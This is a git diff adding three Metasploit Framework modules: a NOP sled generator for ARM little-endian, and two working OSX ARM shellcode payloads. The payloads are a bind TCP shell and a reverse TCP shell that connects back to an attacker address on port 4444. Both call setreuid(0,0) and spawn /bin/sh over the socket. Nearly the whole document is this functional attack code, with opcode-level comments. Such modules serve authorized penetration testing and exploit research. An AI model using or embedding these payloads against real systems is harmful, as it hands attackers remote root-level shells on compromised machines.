diff --git a/modules/nops/armle/simple.rb b/modules/nops/armle/simple.rb new file mode 100644 index 0000000000..6fe5f21b3d --- /dev/null +++ b/modules/nops/armle/simple.rb @@ -0,0 +1,75 @@ +## +# $Id: simple.rb 4419 2007-02-18 00:10:39Z hdm $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' + +module Msf +module Nops +module Armle + +### +# +# SingleByte +# ---------- +# +# This class implements simple NOP generator for ARM (little endian) +# +### +class Simple < Msf::Nop + + + def initialize + super( + 'Name' => 'Simple', + 'Alias' => 'armle_simple', + 'Version' => '$Revision: 4419 $', + 'Description' => 'Simple NOP generator', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Arch' => ARCH_ARMLE) + + register_advanced_options( + [ + OptBool.new('RandomNops', [ false, "Generate a random NOP sled", true ]) + ], self.class) + end + + + def generate_sled(length, opts) + + badchars = opts['BadChars'] || '' + random = opts['Random'] || datastore['RandomNops'] + + nops = [ + 0xe1a01001, + 0xe1a02002, + 0xe1a03003, + 0xe1a04004, + 0xe1a05005, + 0xe1a06006, + 0xe1a07007, + 0xe1a08008, + 0xe1a09009, + 0xe1a0a00a, + 0xe1a0b00b + ] + + if( random and random.match(/^(t|y|1)/i) ) + return ([nops[rand(nops.length)]].pack("V*") * (length/4)) + end + + return (nops[0].pack("V*") * (length/4)) + end + +end + +end end end diff --git a/modules/payloads/singles/osx/armle/shell_bind_tcp.rb b/modules/payloads/singles/osx/armle/shell_bind_tcp.rb new file mode 100644 index 0000000000..107435de84 --- /dev/null +++ b/modules/payloads/singles/osx/armle/shell_bind_tcp.rb @@ -0,0 +1,123 @@ +## +# $Id: shell_bind_tcp.rb 5033 2007-07-06 01:22:54Z ramon $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' + +module Msf +module Payloads +module Singles +module Osx +module Armle + +module ShellBindTcp + + include Msf::Payload::Single + include Msf::Payload::Osx + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'OSX Command Shell, Bind TCP Inline', + 'Version' => '$Revision: 5033 $', + 'Description' => 'Listen for a connection and spawn a command shell', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_ARMLE, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => + { + 'Offsets' => + { + 'LPORT' => [ 34, 'n' ], + }, + 'Payload' => + [ + # socket + 0xe3a00002, # mov r0, #0x2 + 0xe3a01001, # mov r1, #0x1 + 0xe3a02006, # mov r2, #0x6 + 0xe3a0c061, # mov r12, #0x61 + 0xef000080, # swi 128 + 0xe1a0a000, # mov r10, r0 + 0xeb000001, # bl _bind + + # port 4444 + 0x5c110200, + 0x00000000, + + # bind + 0xe1a0000a, # mov r0, r10 + 0xe1a0100e, # mov r1, lr + 0xe3a02010, # mov r2, #0x10 + 0xe3a0c068, # mov r12, #0x68 + 0xef000080, # swi 128 + + # listen + 0xe1a0000a, # mov r0, r10 + 0xe3a01001, # mov r1, #0x1 + 0xe3a0c06a, # mov r12, #0x6a + 0xef000080, # swi 128 + + # accept + 0xe3a0c01e, # mov r12, #0x1e + 0xe1a0000a, # mov r0, r10 + 0xe3a01010, # mov r1, #0x10 + 0xe50d1018, # str r1, [sp, #-24] + 0xe24d2010, # sub r2, sp, #0x10 + 0xe24d3018, # sub r3, sp, #0x18 + 0xef000080, # swi 128 + 0xe1a0b000, # mov r11, r0 + + # setup dup2 + 0xe3a05002, # mov r5, #0x2 + + # dup2 + 0xe3a0c05a, # mov r12, #0x5a + 0xe1a0000b, # mov r0, r11 + 0xe1a01005, # mov r1, r5 + 0xef000080, # swi 128 + 0xe2455001, # sub r5, r5, #0x1 + 0xe3550000, # cmp r5, #0x0 + 0xaafffff8, # bge _dup2 + + # setreuid(0,0) + 0xe3a00000, # mov r0, #0x0 + 0xe3a01001, # mov r1, #0x1 + 0xe3a0c07e, # mov r12, #0x7e + 0xef000080, # swi 128 + + # execve + 0xe0455005, # sub r5, r5, r5 + 0xe1a0600d, # mov r6, sp + 0xe24dd020, # sub sp, sp, #0x20 + 0xe28f0014, # add r0, pc, #0x14 + 0xe4860000, # str r0, [r6], #0 + 0xe5865004, # str r5, [r6, #4] + 0xe1a01006, # mov r1, r6 + 0xe3a02000, # mov r2, #0x0 + 0xe3a0c03b, # mov r12, #0x3b + 0xef000080, # swi 128 + + # /bin/sh + 0x6e69622f, + 0x0068732f + ].pack("V*") + } + )) + end + +end + +end end end end end diff --git a/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb b/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb new file mode 100644 index 0000000000..3eb569c3d9 --- /dev/null +++ b/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb @@ -0,0 +1,110 @@ +## +# $Id: shell_reverse_tcp.rb 5033 2007-07-06 01:22:54Z ramon $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' + +module Msf +module Payloads +module Singles +module Osx +module Armle + +module ShellReverseTcp + + include Msf::Payload::Single + include Msf::Payload::Osx + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'OSX Command Shell, Reverse TCP Inline', + 'Version' => '$Revision: 5033 $', + 'Description' => 'Connect back to attacker and spawn a command shell', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_ARMLE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => + { + 'Offsets' => + { + 'LPORT' => [ 34, 'n' ], + 'LHOST' => [ 36, 'ADDR' ], + }, + 'Payload' => + [ + # socket + 0xe3a00002, # mov r0, #0x2 + 0xe3a01001, # mov r1, #0x1 + 0xe3a02006, # mov r2, #0x6 + 0xe3a0c061, # mov r12, #0x61 + 0xef000080, # swi 128 + 0xe1a0a000, # mov r10, r0 + 0xeb000001, # bl _konnect + + # port 4444 + 0x5c110200, + + # host 192.168.0.135 + 0x8700a8c0, + + # connect + 0xe1a0000a, # mov r0, r10 + 0xe1a0100e, # mov r1, lr + 0xe3a02010, # mov r2, #0x10 + 0xe3a0c062, # mov r12, #0x62 + 0xef000080, # swi 128 + + # setup dup2 + 0xe3a05002, # mov r5, #0x2 + + # dup2 + 0xe3a0c05a, # mov r12, #0x5a + 0xe1a0000a, # mov r0, r10 + 0xe1a01005, # mov r1, r5 + 0xef000080, # swi 128 + 0xe2455001, # sub r5, r5, #0x1 + 0xe3550000, # cmp r5, #0x0 + 0xaafffff8, # bge _dup2 + + # setreuid(0,0) + 0xe3a00000, # mov r0, #0x0 + 0xe3a01001, # mov r1, #0x1 + 0xe3a0c07e, # mov r12, #0x7e + 0xef000080, # swi 128 + + # execve + 0xe0455005, # sub r5, r5, r5 + 0xe1a0600d, # mov r6, sp + 0xe24dd020, # sub sp, sp, #0x20 + 0xe28f0014, # add r0, pc, #0x14 + 0xe4860000, # str r0, [r6], #0 + 0xe5865004, # str r5, [r6, #4] + 0xe1a01006, # mov r1, r6 + 0xe3a02000, # mov r2, #0x0 + 0xe3a0c03b, # mov r12, #0x3b + 0xef000080, # swi 128 + + # /bin/sh + 0x6e69622f, + 0x0068732f + ].pack("V*") + } + )) + end + +end + +end end end end end